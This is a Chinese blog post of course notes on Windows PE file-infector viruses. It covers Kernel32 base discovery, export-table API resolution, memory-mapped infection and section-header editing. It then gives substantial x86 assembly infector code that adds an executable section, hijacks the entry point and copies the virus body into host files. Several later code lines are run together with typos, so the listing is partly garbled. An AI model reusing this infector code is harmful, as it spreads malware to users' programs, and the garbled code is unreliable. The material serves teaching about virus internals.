系统相关
首页 > 系统相关> > 【计算机网络病毒七】Windows病毒之PE型病毒

【计算机网络病毒七】Windows病毒之PE型病毒

作者:互联网

五、Windows病毒之PE型病毒

5.1 PE病毒原理

获取API函数地址

​ 原因:

Win32程序一般运行在Ring 3,Win32下的系统功能调用,不是通过中断实现,而是通过调用动态链接库中的API函数实现。

普通PE程序通过导入节获取API函数地址,而PE病毒只有代码节,对API函数的调用需要首先找到其在相应DLL中的地址。

怎么获取API函数地址

1、获取API函数地址,首先需要获取Kernel32的基地址

2、获取Kernel32及地址

  1. 系统打开一个文件的时候,会调用Keernel32.DLL中的CreateProcess函数,该函数在完成装载应用程序后,会将其在Kernel32.DLL中的返回地址压入堆栈。
  2. 根据堆栈中的地址可以找到Kernel32.DLL模块的地址空间,然后可以以此为基础回退到Kernel32.DLL的文件头,从而确定其导出函数节。

3、在得到Kernel32.DLL的模块地址后,就可以在该模块中的导出表中搜索所需要的API地址

4、另一重办法是在Kernel32.DLL中搜索出GetProcAddress和LoadLibray两个API函数的地址,然后利用这两个API函数得到所需要的API函数地址。

已知API函数序列号搜索API函数地址
  1. 定位PE文件头
  2. 从PE文件头中的可选文件头中取出数据目录表的第一个数据目录,得出导出函数的地址。
  3. 从导出表的Base字段取得始序号。
  4. 将需要查找的到处序号减去起始序号,得到函数入口地址表中的索引号。
  5. 验证索引号的合法性。
  6. 用该索引值在AddrOfFunctions字段指向的地址表取出相应的项目。
已知函数名查找入口地址
  1. 定位PE文件头
  2. 从PE文件头中的可选文件头中取出数据目录表的第一个数据目录,得出导出函数的地址。
  3. 从AddressOfNames字段指向的函数名地址表的第一项开始逐一查找与其对应项 。
  4. 通过在AddressOfNames中匹配项的索引值在AddressOfNameOrdinals指向的数组中查找索引 值。
  5. 以该索引值在AddressOfFunctions中获取对应的 RVA。
搜索感染目标文件

​ FindNextFile

​ FindClose

5.2 内存映射文件

原理
使用内存映射文件读写文件
  1. 调用CreateFile函数打开想要映射的HOST程序,返回文件句柄hFile。
  2. 调用CreateFileMapping函数生成一个建立基于HOST文件举办hFile的内存映射对象,返回内存映射对象句柄hMap。
  3. 调用MapViewOfFile函数将整个文件映射到内存中,得到指向内存的第一个字节的指针pMem。
  4. 用指针pMem对整个HOST文件进行操作,实施病毒感染。

5.3 病毒感染PE文件的基本方法

感染文件的基本步骤
  1. 写入节名
  2. 写入节的实际字节数
  3. 写入新节在内存中的开始偏移地址,同时可以计算出病毒入口位置
  4. 本节在内存中的开始偏移地址=上节在内存中的开始偏移地址+(上节大小/节对齐+1)*节对齐
  5. 写入本节在文件中对齐后的大小
  6. 写入本节在文件中的开始位置
  7. 修改映像文件头中的节表数目
  8. 修改AddressOfEntryPoint,同时保存旧的AddressOfEntryPoint,以便返回HOST继续执行
  9. 更新SizeOflmage(内存中整个映像尺寸=原SizeOflmage +病毒节经过内存节对齐后的大小)
  10. 写入感染标记
  11. 写病毒代码到新添加的节中
  12. 将当前文件位置设为文件尾

5.4 PE概念病毒感染分析

 病毒定位
vstart:
	push ebp
	push esp
	call nstart
nstart: 
	pop ebp
	sub ebp,offset nstart
 异常处理
assume fs:nothing ;设置SEH,发生异常可以直接返回原入口.
lea ebx, SEH[ebp]
push ebx
push fs:[0]
mov fs:[0],esp
mov OldEsp[ebp],esp
备份程序入口地址
	cmp old_base[ebp],0
	jnz gonext
	mov old_base[ebp],400000h
gonext:
	cmp old_in[ebp],0
	jnz change
	mov old_in[ebp],1000h
change:
	mov eax, old_base[ebp]
	mov des_base[ebp], eax
	mov eax, old_in[ebp]
	mov des_in[ebp], eax
获得KERNEL32地址
	mov eax,[esp+10h] ;//取Kernel32返回地址
	and ax,0f000h
	mov esi,eax ;//得到Kernel.PELoader代码位置(不精确)
LoopFindKernel32:
	sub esi,1000h 
	cmp word ptr[esi],'ZM' ;//搜索EXE文件头
	jnz short LoopFindKernel32
获得KERNEL32地址
GetPeHeader:
	movzx edi,word ptr[esi+3ch]
	add edi,esi
	cmp word ptr[edi],'EP' ;//确认是否PE文件头
	jnz short LoopFindKernel32 ;esi->kernel32,edi->kernel32 PE HEADER
;///////////////////////////////////////////查找GetProcAddress函数地址
	mov vKernel32[ebp],esi
获得GetProcAddress函数地址
GetPeExportTable:
	mov ebx,[edi+78h];4+14h+60h
	add ebx,vKernel32[ebp] ;//得到输出函数表
	mov vExportKernel[ebp],ebx
	push 14
	call aGetProcAddr
	db "GetProcAddress",0
aGetProcAddr: 
	lea eax,GetApiAddress[ebp]
	call eax
	or eax,eax
	jz ExitTimes
	mov vGetProcAddress[ebp],eax ;得到GetProcAddre
获取Kernel32其他函数地址
	lea esi,bGetModuleHandle[ebp] ; 
	lea edi,vGetModuleHandle[ebp]
	cld
ComeOn:
	lodsd
	add eax,ebp
	push eax
	push vKernel32[ebp]
	call dword ptr vGetProcAddress[ebp]
	or eax,eax
	jz ExitTimes
	stosd
	cmp dword ptr[esi],0
	jnz ComeOn
利用API查找感染目标
病毒传染
mov ebx, eax
assume ebx :ptr IMAGE_DOS_HEADER
mov eax,[ebx].e_ lfanew
test eax,0fffff000h
jnz EndDir ;Header+stub不可能太大,超过4096byte
mov pe_header_off[ebp],eax
add ebx,eax ;此时ebx指向PE文件头
assume ebx:ptr IMAGE_NT HEADERS
cmp [ebx].Signature,IMAGE_NT_SIGNATURE;
jnz UnMap
cmp word ptr[ebx+1ah],'FB’;是否已经感染
movzx eax,[ebx].FileHeader.NumberOfSections ;文件的节数mov ecx,28h/l每个节表的长度mul ecxadd eax,pe_header_off[ebp]add eax,18h//PE Header长度movzx esi,[ebx].FileHeader.SizeOfOptionalHeaderadd eax,esimov NewSection off[ebp], eax;保存新节起始RVAadd eax,28h;比较增加新节后是否超出SizeOfHeaders(节.TEXT在文件中的RVA)cmp eax,[ebx].OptionalHeader.SizeOfHeadersja Infest ;即使没有添加空间还是可以免疫
mov ecx,FileAlign[ebp]xor edx,edxdiv ecxtest edx,edxjz NoChangeinc eaxNoChange:mul ecxmov fsize[ebp],eax;文件尺寸节文件对齐add eax,1000h。。。
	assume ebx:ptr IMAGE_NT_HEADERSNoinfect:	mov eax,[ebx].OptionalHeader.AddressOfEntryPoint	mov old_in[ebp],eax	mov eax,[ebx].OptionalHeader.ImageBase	mov old_base[ebp],eax
mov edi,NewSection_off[ebp];新节的RVAadd edi,pMapping[ebp] ;edi->新节起始地址inc [ebx].FileHeader.NumberOfSections ;节数目+1mov esi,edi ;edi指向新节sub esi,28h ;esi指向上一个节assume edi:ptr IMAGE_SECTION_HEADERassume esi:ptr IMAGE_SECTION_HEADERmov[edi].Name1, ‘B.';为新节命名mov [edi+2h].Name1, 'hsiF';为新节命名
push[ebx].OptionalHeader.SizeOflmage ;原文件映像装入内存后的总尺寸,对齐SectionAlignment.pop [edi].VirtualAddress ;新节在内存中的地址mov eax,offset vend-offset vstartmov[edi].Misc.VirtualSize,eax ;新节的大小(未对齐)mov ecx,[ebx].OptionalHeader.FileAlignmentxor edx,edxdiv ecxtest edx,edxjz NoChange1inc eax
NoChange1:	mul ecx	mov [edi].SizeOfRawData,eax;新节对齐FileAligment后的大小	mov eax,fsize[ebp]	mov [edi].PointerToRawData,eax;本节在文件中的位置	mov [edi].Characteristics,0E0000020h ;可读可写可执行
mov eax,[edi].Misc.VirtualSize;新节的大小(未对齐)mov ecx,[ebx].OptionalHeader.SectionAlignment ;内存节对齐xor edx,edxdiv ecxtest edx,edxjz NoChange2inc eax
NoChange2:	mul ecx	add eax,[ebx].OptionalHeader.SizeOflmage;对齐后大小+原文件映像装入内存后的总尺寸,对齐SectionAlignment.	mov [ebx].OptionalHeader.SizeOflmage,eax ;更新后的文件映像装入内存后的总尺寸,对齐SectionAlignment.	mov eax,[edi].VirtualAddress;新节在内存中的地址写入入口点	mov [ebx].OptionalHeader.AddressOfEntryPoint,eax
mov edi,pMapping[ebp]
add edi,fsize[ebp]
lea esi,vstart[ebp]
mov ecx,offset vend-offset vstart
cld
rep movsb

标签:Windows,edi,mov,eax,地址,ebp,PE,ebx,病毒
来源: https://www.cnblogs.com/cxgang/p/15210744.html